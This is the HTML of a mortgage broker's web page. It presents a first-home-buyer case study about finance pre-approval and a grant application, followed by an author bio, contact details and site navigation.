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<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500.jpg.webp 500w, https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500-300x300.jpg.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500-150x150.jpg.webp 150w, https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500-400x400.jpg.webp 400w, https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500-450x450.jpg.webp 450w" sizes="(max-width: 500px) 100vw, 500px"/>
<img loading="lazy" decoding="async" width="500" height="500" src="https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500.jpg" alt="first home owner" srcset="https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500.jpg 500w, https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500-300x300.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500-150x150.jpg 150w, https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500-400x400.jpg 400w, https://intuitivefinance.com.au/wp-content/uploads/2015/08/case-study-first-home-owner-500x500-450x450.jpg 450w" sizes="(max-width: 500px) 100vw, 500px"/>
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<div class="kb-row-layout-wrap kb-row-layout-id17031_5fb861-e4 alignfull kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-1-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top kb-theme-content-width">

<div class="wp-block-kadence-column kadence-column17031_111b11-8d"><div class="kt-inside-inner-col">
<h2 class="kt-adv-heading17031_ed3b08-79 no_br_on_mobile wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading17031_ed3b08-79">Our Proposal</h2>



<p class="kt-adv-heading17031_b5ad0a-2f wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading17031_b5ad0a-2f">Intuitive Finance assisted David with a review of his borrowing power and eligibility for bank financing, and confirmed his eligibility for the First Home Buyer grant. We were able to establish finance pre-approval for David with a lender who offered a range of discounts for first home buyers. David would then be able to enter into a contract of sale for his property, with our assistance to complete the necessary paperwork/applications.<br><br>After receiving a copy of the contract of sale, Intuitive Finance then coordinated the lodgement of his grant application to the First Homeowners Grant Offices. The grant application process and level of detail was significant, particularly around the dates concerning settlement, and it was important to manage this process as closely as possible to avoid delays and reworkings.</p>
</div></div>

</div></div>

<div class="kb-row-layout-wrap kb-row-layout-id17031_ff4f8d-10 alignfull has-theme-palette9-background-color kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-1-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top kb-theme-content-width">

<div class="wp-block-kadence-column kadence-column17031_eb89ff-69"><div class="kt-inside-inner-col">
<h2 class="kt-adv-heading17031_049d08-5b no_br_on_mobile wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17031_049d08-5b">The Outcome</h2>



<p class="kt-adv-heading17031_341c1e-bd wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading17031_341c1e-bd">David’s application was successfully lodged and accepted by the State Revenue office for approval, leading us to receive the grant approval. Intuitive Finance forwarded this to the conveyancer, which in turn ensured the settlement process was timely and efficient and meant the funds could be accessed quickly.</p>



<div class="wp-block-kadence-image kb-image17031_40702c-4f"><figure class="aligncenter size-large"><a href="/appointments/" class="kb-advanced-image-link"><picture loading="lazy" decoding="async" class="kb-img wp-image-21002">
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<img loading="lazy" decoding="async" width="1024" height="182" src="https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-1024x182.jpg" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-1024x182.jpg 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-300x53.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation-768x136.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/Banner-Finance-Consultation.jpg 1410w" sizes="(max-width: 1024px) 100vw, 1024px"/>
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</a > </div><div class="abh_social"> </div><div class="abh_text"><div class="abh_name fn name" itemprop="name" style="font-size:18px !important;"><a href="https://intuitivefinance.com.au/author/intuitive/" class="url">Andrew Mirams</a></div><div class="abh_job" style="font-size:14px !important;"></div><div class="description note abh_description" itemprop="description" style="font-size:14px !important;">Andrew Mirams is the Founder and Managing Director of Intuitive Finance, a highly respected and multi-award winning Mortgage Brokerage dealing with clients all over Australia and around the world. Andrew has over 30 year’s experience in the finance industry and has assisted clients to secure over $2 Billion in mortgage lending over his time. Intuitive Finance deals with all aspects of lending from helping first homebuyers, someone wanting to upgrade their home or starting out and experienced investors looking to secure that next investment property, we can assist with all those requirements. We also specialise in working with self-employed clients and getting them the best outcomes, along with Commercial and Asset finance solutions. Intuitive Finance is highly regarded in the industry and has been recognised as a national winner of the MFAA customer service award and also one of the finance industry’s top mortgage employers. Our brokers also feature regularly in the Top 100 mortgage brokers list in Australia.</div></div> </section><section class="abh_posts_tab abh_tab" ><div class="abh_image"><a href="https://intuitivefinance.com.au/author/intuitive/" class="url" title="Andrew Mirams"><picture decoding="async" class="photo">
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</a></div><div class="abh_social"> </div><div class="abh_text"><div class="abh_name" style="font-size:18px !important;">Latest posts by Andrew Mirams <span class="abh_allposts">(<a href="https://intuitivefinance.com.au/author/intuitive/">see all</a>)</span></div><div class="abh_description note" ><ul>				<li style="font-size:14px !important;" >					<a href="https://intuitivefinance.com.au/do-mortgage-brokers-charge-a-fee/">Do mortgage brokers charge a fee</a><span> - March 13, 2025</span>				</li>				<li style="font-size:14px !important;" >					<a href="https://intuitivefinance.com.au/first-home-buyers-what-are-you-waiting-for-2/">First Home Buyers – What are you waiting for</a><span> - March 13, 2025</span>				</li>				<li style="font-size:14px !important;" >					<a href="https://intuitivefinance.com.au/navigation-the-competitive-sydney-market/">Navigating the competitive Sydney market</a><span> - March 10, 2025</span>				</li></ul></div></div> </section></div> </div></div><!-- .entry-content -->
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<style>.wp-block-kadence-advancedheading.kt-adv-heading44cb80-14, .wp-block-kadence-advancedheading.kt-adv-heading44cb80-14[data-kb-block="kb-adv-heading44cb80-14"]{padding-top:24px;padding-bottom:24px;margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;font-size:16px;line-height:1;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-heading44cb80-14 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading44cb80-14[data-kb-block="kb-adv-heading44cb80-14"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<p class="kt-adv-heading44cb80-14 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading44cb80-14">Simplifying Your Financing Journey.</p>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items987da0-92 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-0cae2f-ca"><a href="mailto:info@intuitivefinance.com.au" class="kt-svg-icon-link"><span class="kb-svg-icon-wrap kb-svg-icon-fe_mail kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z"/><polyline points="22,6 12,13 2,6"/></svg></span><span class="kt-svg-icon-list-text">info@intuitivefinance.com.au</span></a></li>



<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-2fd023-af"><a href="tel:1300342505" class="kt-svg-icon-link"><span class="kb-svg-icon-wrap kb-svg-icon-fe_phone kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"/></svg></span><span class="kt-svg-icon-list-text">1300 342 505</span></a></li>
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	<div class="footer-widget-area-inner site-info-inner">
		<section id="block-10" class="widget widget_block"><style>.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{align-content:start;}:where(.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap) > .wp-block-kadence-column{justify-content:start;}.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{column-gap:var(--global-kb-gap-md, 2rem);row-gap:var(--global-kb-gap-md, 2rem);padding-top:var(--global-kb-spacing-sm, 1.5rem);padding-bottom:var(--global-kb-spacing-sm, 1.5rem);grid-template-columns:minmax(0, 1fr) minmax(0, 1fr) minmax(0, 2fr);}.kb-row-layout-idblock-10_106535-d1{background-color:#060807;}.kb-row-layout-idblock-10_106535-d1 > .kt-row-layout-overlay{opacity:0.30;}@media all and (max-width: 1024px){.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr) minmax(0, 1fr) minmax(0, 2fr);}}@media all and (max-width: 767px){.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr);}}.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {    grid-template-columns: minmax(0, 1fr) minmax(0, 1fr) minmax(0, auto);}@media (max-width: 1024px) {    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {        grid-template-columns: 1fr 1fr minmax(0, 2fr);    }}@media (max-width: 640px) {    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {        grid-template-columns: 1fr 1fr;    }    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap>div:nth-of-type(3) {        grid-column: 1/span 2;    }}</style><div class="kb-row-layout-wrap kb-row-layout-idblock-10_106535-d1 alignnone kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-3-columns kt-row-layout-right-half kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">
<style>.kadence-column6cadfa-f3 > .kt-inside-inner-col,.kadence-column6cadfa-f3 > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-column6cadfa-f3 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}.kadence-column6cadfa-f3 > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-column6cadfa-f3 > .kt-inside-inner-col:before{opacity:0.3;}.kadence-column6cadfa-f3{position:relative;}@media all and (max-width: 1024px){.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-column6cadfa-f3"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e, .wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e[data-kb-block="kb-adv-headingf3cfab-8e"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e[data-kb-block="kb-adv-headingf3cfab-8e"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingf3cfab-8e wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf3cfab-8e">Main</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-itemsa25937-63 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-8020ef-57 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-8020ef-57"><a href="/what-makes-us-different/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">About</span></a></li>


<style>.kt-svg-icon-list-item-a402fb-55 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-a402fb-55"><a href="/loans/borrower-types" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Borrower Type</span></a></li>


<style>.kt-svg-icon-list-item-9c0669-fb .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-9c0669-fb"><a href="/loans/loan-types" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Loan Type</span></a></li>


<style>.kt-svg-icon-list-item-09bb4e-1b .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-09bb4e-1b"><a href="/case-studies/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Case Studies</span></a></li>


<style>.kt-svg-icon-list-item-e9eef6-0b .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-e9eef6-0b"><a href="/contact/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Contact Us</span></a></li>
</ul></div>
</div></div>


<style>.kadence-columndb984d-cd > .kt-inside-inner-col,.kadence-columndb984d-cd > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-columndb984d-cd > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}.kadence-columndb984d-cd > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-columndb984d-cd > .kt-inside-inner-col:before{opacity:0.3;}.kadence-columndb984d-cd{position:relative;}@media all and (max-width: 1024px){.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-columndb984d-cd"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading98dce8-20 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading98dce8-20">Other Pages</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items226a91-b5 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-804f79-7f .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-804f79-7f"><a href="/knowledge-hub/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Blog</span></a></li>


<style>.kt-svg-icon-list-item-eb24af-79 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-eb24af-79"><a href="/checklist-resources/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Help</span></a></li>


<style>.kt-svg-icon-list-item-6155dd-89 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-6155dd-89"><a href="/privacy/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Privacy Statement</span></a></li>


<style>.kt-svg-icon-list-item-9ffb75-68 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-9ffb75-68"><a href="/complaints/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Complaints</span></a></li>


<style>.kt-svg-icon-list-item-84f67f-35 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-84f67f-35"><a href="/glossary/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Glossary</span></a></li>
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